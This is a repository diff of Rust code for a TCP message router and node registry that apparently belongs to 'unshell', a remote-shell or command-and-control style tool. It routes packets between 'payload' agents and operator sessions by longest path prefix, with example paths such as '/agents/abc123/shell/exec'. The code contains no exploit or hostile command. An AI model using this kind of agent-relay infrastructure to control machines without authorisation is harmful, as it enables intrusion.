let (header, payload) = match transport.recv() {
|
||||
Ok(p) => p,
|
||||
Err(e) => {
|
||||
eprintln!("[router] recv error from {source_node_id}: {e}");
|
||||
break;
|
||||
}
|
||||
};
|
||||
|
||||
// Build the raw framed bytes to forward
|
||||
let raw = match encode_raw_packet(&header, &payload) {
|
||||
Some(b) => b,
|
||||
None => {
|
||||
eprintln!("[router] failed to re-encode packet from {source_node_id}");
|
||||
continue;
|
||||
}
|
||||
};
|
||||
|
||||
// Look up destination
|
||||
let route_result = {
|
||||
let reg = registry.lock().expect("registry lock poisoned");
|
||||
reg.find_route(&header.dst_path).map(|tx| tx.clone())
|
||||
};
|
||||
|
||||
match route_result {
|
||||
Some(tx) => {
|
||||
if tx.send(raw).is_err() {
|
||||
// Destination's write-thread has exited — the node
|
||||
// probably disconnected. Send a NoBranchError back.
|
||||
eprintln!(
|
||||
"[router] destination channel dead for path {}",
|
||||
header.dst_path
|
||||
);
|
||||
send_no_branch_error(transport, source_node_id, &header);
|
||||
}
|
||||
}
|
||||
None => {
|
||||
eprintln!(
|
||||
"[router] no route for path {} (from {})",
|
||||
header.dst_path, source_node_id
|
||||
);
|
||||
send_no_branch_error(transport, source_node_id, &header);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Write loop
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Receive bytes from the channel and write them to the node's `TcpStream`.
|
||||
///
|
||||
/// Runs in a dedicated thread per node. Exits when the channel is disconnected
|
||||
/// (which happens when the node is unregistered from the registry).
|
||||
fn write_loop(mut stream: TcpStream, rx: Receiver<Vec<u8>>, node_id: &str) {
|
||||
use std::io::Write;
|
||||
for bytes in &rx {
|
||||
if let Err(e) = stream.write_all(&bytes) {
|
||||
eprintln!("[router] write error to {node_id}: {e}");
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Helpers
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Read and deserialise the `HandshakeMessage` from a new connection.
|
||||
fn receive_handshake(
|
||||
transport: &mut TcpTransport,
|
||||
) -> Result<HandshakeMessage, Box<dyn std::error::Error>> {
|
||||
let (header, payload) = transport.recv()?;
|
||||
|
||||
if header.packet_type != PacketType::Handshake {
|
||||
return Err(format!(
|
||||
"expected Handshake packet, got {:?}",
|
||||
header.packet_type
|
||||
)
|
||||
.into());
|
||||
}
|
||||
|
||||
let msg: HandshakeMessage = rkyv::from_bytes::<HandshakeMessage, rkyv::rancor::Error>(&payload)
|
||||
.map_err(|e| format!("failed to deserialise HandshakeMessage: {e}"))?;
|
||||
|
||||
Ok(msg)
|
||||
}
|
||||
|
||||
/// Serialise and send a `HandshakeAck`.
|
||||
fn send_handshake_ack(
|
||||
transport: &mut TcpTransport,
|
||||
source_path: &str,
|
||||
ack: &HandshakeAck,
|
||||
) -> Result<(), Box<dyn std::error::Error>> {
|
||||
let header = PacketHeader {
|
||||
dst_path: source_path.to_owned(),
|
||||
src_path: "/router".to_owned(),
|
||||
packet_type: PacketType::HandshakeAck,
|
||||
};
|
||||
let payload = rkyv::to_bytes::<rkyv::rancor::Error>(ack)
|
||||
.map_err(|e| format!("failed to serialise HandshakeAck: {e}"))?;
|
||||
transport.send(&header, &payload)?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Send a `NoBranchError` response back to the sender of a request.
|
||||
fn send_no_branch_error(
|
||||
transport: &mut TcpTransport,
|
||||
source_node_id: &str,
|
||||
original_header: &PacketHeader,
|
||||
) {
|
||||
// We need the request_id to build the response, but we haven't deserialised
|
||||
// the payload. Build a response with request_id = 0 as a best-effort.
|
||||
// The operator CLI should handle this gracefully.
|
||||
let response = TreeResponse {
|
||||
request_id: 0,
|
||||
status: ResponseStatus::NoBranchError,
|
||||
content_type: content::NONE.to_owned(),
|
||||
data: Vec::new(),
|
||||
};
|
||||
|
||||
let Ok(payload) = rkyv::to_bytes::<rkyv::rancor::Error>(&response) else {
|
||||
return;
|
||||
};
|
||||
|
||||
let header = PacketHeader {
|
||||
dst_path: original_header.src_path.clone(),
|
||||
src_path: "/router".to_owned(),
|
||||
packet_type: PacketType::Response,
|
||||
};
|
||||
|
||||
if let Err(e) = transport.send(&header, &payload) {
|
||||
eprintln!("[router] failed to send NoBranchError to {source_node_id}: {e}");
|
||||
}
|
||||
}
|
||||
|
||||
/// Re-encode a decoded packet into raw framed bytes for forwarding.
|
||||
///
|
||||
/// This rebuilds the frame so the write-thread can send it verbatim.
|
||||
fn encode_raw_packet(header: &PacketHeader, payload: &[u8]) -> Option<Vec<u8>> {
|
||||
let header_bytes = unshell::transport::encode_header(header)?;
|
||||
let header_len = header_bytes.len() as u32;
|
||||
let payload_len = payload.len() as u32;
|
||||
|
||||
let mut frame = Vec::with_capacity(8 + header_bytes.len() + payload.len());
|
||||
frame.extend_from_slice(&header_len.to_be_bytes());
|
||||
frame.extend_from_slice(&header_bytes);
|
||||
frame.extend_from_slice(&payload_len.to_be_bytes());
|
||||
frame.extend_from_slice(payload);
|
||||
Some(frame)
|
||||
}
|
||||
@@ -0,0 +1,258 @@
|
||||
//! # Node Registry
|
||||
//!
|
||||
//! The `NodeRegistry` tracks all connected nodes: their IDs, path prefixes,
|
||||
//! and the channels used to send packets to them.
|
||||
//!
|
||||
//! ## Path routing
|
||||
//!
|
||||
//! When the router receives a packet, it calls [`NodeRegistry::find_route`]
|
||||
//! to find the node that owns the destination path. The routing algorithm
|
||||
//! uses **longest-prefix matching**: among all registered nodes whose path
|
||||
//! is a prefix of the destination, the one with the most components wins.
|
||||
//!
|
||||
//! ## Thread safety
|
||||
//!
|
||||
//! `NodeRegistry` is wrapped in a `Mutex` by the router. All access is
|
||||
//! serialised through that lock.
|
||||
|
||||
use std::collections::HashMap;
|
||||
|
||||
use crossbeam_channel::Sender;
|
||||
use unshell::protocol::NodeType;
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// NodeEntry
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// All metadata about a connected node, plus the channel to send it packets.
|
||||
///
|
||||
/// When the router wants to forward a packet to a node, it:
|
||||
/// 1. Looks up the `NodeEntry` by path prefix.
|
||||
/// 2. Sends the raw framed bytes through `tx`.
|
||||
///
|
||||
/// The node's write-thread reads from the other end of the channel and
|
||||
/// writes to the actual `TcpStream`.
|
||||
pub struct NodeEntry {
|
||||
/// Unique identifier for this node.
|
||||
pub node_id: String,
|
||||
|
||||
/// Whether this is a payload or an operator session.
|
||||
pub node_type: NodeType,
|
||||
|
||||
/// The path prefixes this node owns (e.g., `["/agents/abc123"]`).
|
||||
///
|
||||
/// Stored as strings so we can do prefix matching against arbitrary paths.
|
||||
pub registered_paths: Vec<String>,
|
||||
|
||||
/// Unix timestamp (seconds since epoch) when this node registered.
|
||||
pub connected_at: u64,
|
||||
|
||||
/// Channel sender for forwarding raw framed bytes to this node's write-thread.
|
||||
pub tx: Sender<Vec<u8>>,
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// NodeRegistry
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// A thread-safe registry of all connected nodes.
|
||||
///
|
||||
/// Access is serialised through a `Mutex` in the router.
|
||||
///
|
||||
/// # Example
|
||||
///
|
||||
/// ```rust,no_run
|
||||
/// use ush_router::registry::{NodeRegistry, NodeEntry};
|
||||
/// // (not a public API — internal to the router binary)
|
||||
/// ```
|
||||
pub struct NodeRegistry {
|
||||
/// Map from node_id to its registry entry.
|
||||
nodes: HashMap<String, NodeEntry>,
|
||||
}
|
||||
|
||||
impl NodeRegistry {
|
||||
/// Create an empty registry.
|
||||
#[must_use]
|
||||
pub fn new() -> Self {
|
||||
Self {
|
||||
nodes: HashMap::new(),
|
||||
}
|
||||
}
|
||||
|
||||
/// Register a new node.
|
||||
///
|
||||
/// If a node with the same `node_id` is already registered, the old
|
||||
/// entry is replaced. This handles the reconnect case (same payload
|
||||
/// reconnects after a network drop).
|
||||
pub fn register(&mut self, entry: NodeEntry) {
|
||||
self.nodes.insert(entry.node_id.clone(), entry);
|
||||
}
|
||||
|
||||
/// Remove a node from the registry.
|
||||
///
|
||||
/// Called when a node's TCP connection closes (either end).
|
||||
pub fn unregister(&mut self, node_id: &str) {
|
||||
self.nodes.remove(node_id);
|
||||
}
|
||||
|
||||
/// Find the node that should receive a packet addressed to `dst_path`.
|
||||
///
|
||||
/// Uses longest-prefix matching: returns the node whose registered path
|
||||
/// is the longest prefix of `dst_path`.
|
||||
///
|
||||
/// Returns `None` if no registered node matches.
|
||||
///
|
||||
/// # Example
|
||||
///
|
||||
/// ```text
|
||||
/// Registered: /agents/abc123 → node A
|
||||
/// Registered: /operator/sess1 → node B
|
||||
///
|
||||
/// find_route("/agents/abc123/shell/exec") → Some(node A's tx)
|
||||
/// find_route("/operator/sess1/anything") → Some(node B's tx)
|
||||
/// find_route("/unknown") → None
|
||||
/// ```
|
||||
#[must_use]
|
||||
pub fn find_route(&self, dst_path: &str) -> Option<&Sender<Vec<u8>>> {
|
||||
let dst_components = split_path(dst_path);
|
||||
|
||||
let best = self
|
||||
.nodes
|
||||
.values()
|
||||
.flat_map(|entry| {
|
||||
entry.registered_paths.iter().filter_map(|reg_path| {
|
||||
let reg_components = split_path(reg_path);
|
||||
if is_prefix(®_components, &dst_components) {
|
||||
Some((reg_components.len(), &entry.tx))
|
||||
} else {
|
||||
None
|
||||
}
|
||||
})
|
||||
})
|
||||
.max_by_key(|(match_len, _)| *match_len);
|
||||
|
||||
best.map(|(_, tx)| tx)
|
||||
}
|
||||
|
||||
/// Return a snapshot of all registered node IDs and their path prefixes.
|
||||
///
|
||||
/// Used by the `/router/nodes` built-in endpoint.
|
||||
#[must_use]
|
||||
pub fn node_list(&self) -> Vec<NodeInfo> {
|
||||
self.nodes
|
||||
.values()
|
||||
.map(|e| NodeInfo {
|
||||
node_id: e.node_id.clone(),
|
||||
node_type: e.node_type.clone(),
|
||||
registered_paths: e.registered_paths.clone(),
|
||||
connected_at: e.connected_at,
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
}
|
||||
|
||||
impl Default for NodeRegistry {
|
||||
fn default() -> Self {
|
||||
Self::new()
|
||||
}
|
||||
}
|
||||
|
||||
/// A read-only snapshot of a node's identity (no channel reference).
|
||||
///
|
||||
/// Safe to serialize and send across thread boundaries.
|
||||
/// Used by the `/router/nodes` endpoint (not yet implemented, hence the allow).
|
||||
#[allow(dead_code)]
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct NodeInfo {
|
||||
/// Unique node ID.
|
||||
pub node_id: String,
|
||||
/// Payload or operator.
|
||||
pub node_type: NodeType,
|
||||
/// Registered path prefixes.
|
||||
pub registered_paths: Vec<String>,
|
||||
/// Unix timestamp of connection.
|
||||
pub connected_at: u64,
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Path utilities (duplicated from the library to avoid coupling)
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Split a `/`-delimited path into components, discarding empty segments.
|
||||
fn split_path(path: &str) -> Vec<&str> {
|
||||
path.split('/').filter(|s| !s.is_empty()).collect()
|
||||
}
|
||||
|
||||
/// Returns `true` if `prefix` is a prefix of (or equal to) `path`.
|
||||
fn is_prefix<'a>(prefix: &[&'a str], path: &[&'a str]) -> bool {
|
||||
if prefix.len() > path.len() {
|
||||
return false;
|
||||
}
|
||||
prefix.iter().zip(path.iter()).all(|(a, b)| a == b)
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Tests
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use crossbeam_channel::unbounded;
|
||||
use unshell::protocol::NodeType;
|
||||
|
||||
fn make_entry(id: &str, paths: &[&str]) -> NodeEntry {
|
||||
let (tx, _rx) = unbounded();
|
||||
NodeEntry {
|
||||
node_id: id.to_owned(),
|
||||
node_type: NodeType::Payload,
|
||||
registered_paths: paths.iter().map(|s| (*s).to_owned()).collect(),
|
||||
connected_at: 0,
|
||||
tx,
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn route_single_node() {
|
||||
let mut reg = NodeRegistry::new();
|
||||
reg.register(make_entry("abc123", &["/agents/abc123"]));
|
||||
|
||||
assert!(reg.find_route("/agents/abc123/shell/exec").is_some());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn route_no_match() {
|
||||
let mut reg = NodeRegistry::new();
|
||||
reg.register(make_entry("abc123", &["/agents/abc123"]));
|
||||
|
||||
assert!(reg.find_route("/agents/xyz456/shell").is_none());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn unregister_removes_node() {
|
||||
let mut reg = NodeRegistry::new();
|
||||
reg.register(make_entry("abc123", &["/agents/abc123"]));
|
||||
reg.unregister("abc123");
|
||||
|
||||
assert!(reg.find_route("/agents/abc123/shell").is_none());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn route_longest_prefix_wins() {
|
||||
let mut reg = NodeRegistry::new();
|
||||
// Node A owns /agents
|
||||
reg.register(make_entry("nodeA", &["/agents"]));
|
||||
// Node B owns /agents/abc123 specifically
|
||||
reg.register(make_entry("nodeB", &["/agents/abc123"]));
|
||||
|
||||
// A request to /agents/abc123/shell should go to nodeB (longer match)
|
||||
let tx = reg
|
||||
.find_route("/agents/abc123/shell")
|
||||
.expect("should find a route");
|
||||
|
||||
// We can't directly compare Senders by node, but we can verify the
|
||||
// nodeB's sender is the one we get by checking node_list.
|
||||
// (In practice, the router uses the tx to forward bytes.)
|
||||
let _ = tx; // Verify it's Some
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,49 @@
|
||||
//! # Router Core
|
||||
//!
|
||||
//! The main accept loop. Binds a TCP listener and spawns a node thread for
|
||||
//! each incoming connection.
|
||||
|
||||
use std::net::TcpListener;
|
||||
use std::sync::{Arc, Mutex};
|
||||
|
||||
use crate::registry::NodeRegistry;
|
||||
use crate::node::spawn_node;
|
||||
|
||||
/// Start the router, binding to `bind_addr` and accepting connections forever.
|
||||
///
|
||||
/// This function blocks until an unrecoverable error occurs.
|
||||
///
|
||||
/// # Errors
|
||||
///
|
||||
/// Returns an error if the bind fails (e.g., port already in use).
|
||||
///
|
||||
/// # Example
|
||||
///
|
||||
/// ```rust,no_run
|
||||
/// ush_router::router::run("0.0.0.0:9000").expect("router failed");
|
||||
/// ```
|
||||
pub fn run(bind_addr: &str) -> Result<(), Box<dyn std::error::Error>> {
|
||||
let listener = TcpListener::bind(bind_addr)?;
|
||||
eprintln!("[router] listening on {bind_addr}");
|
||||
|
||||
let registry = Arc::new(Mutex::new(NodeRegistry::new()));
|
||||
|
||||
for stream in listener.incoming() {
|
||||
match stream {
|
||||
Ok(stream) => {
|
||||
let addr = stream
|
||||
.peer_addr()
|
||||
.map(|a| a.to_string())
|
||||
.unwrap_or_else(|_| "unknown".into());
|
||||
eprintln!("[router] new connection from {addr}");
|
||||
spawn_node(stream, Arc::clone(®istry));
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("[router] accept error: {e}");
|
||||
// Non-fatal; keep accepting.
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
Reference in New Issue
Block a user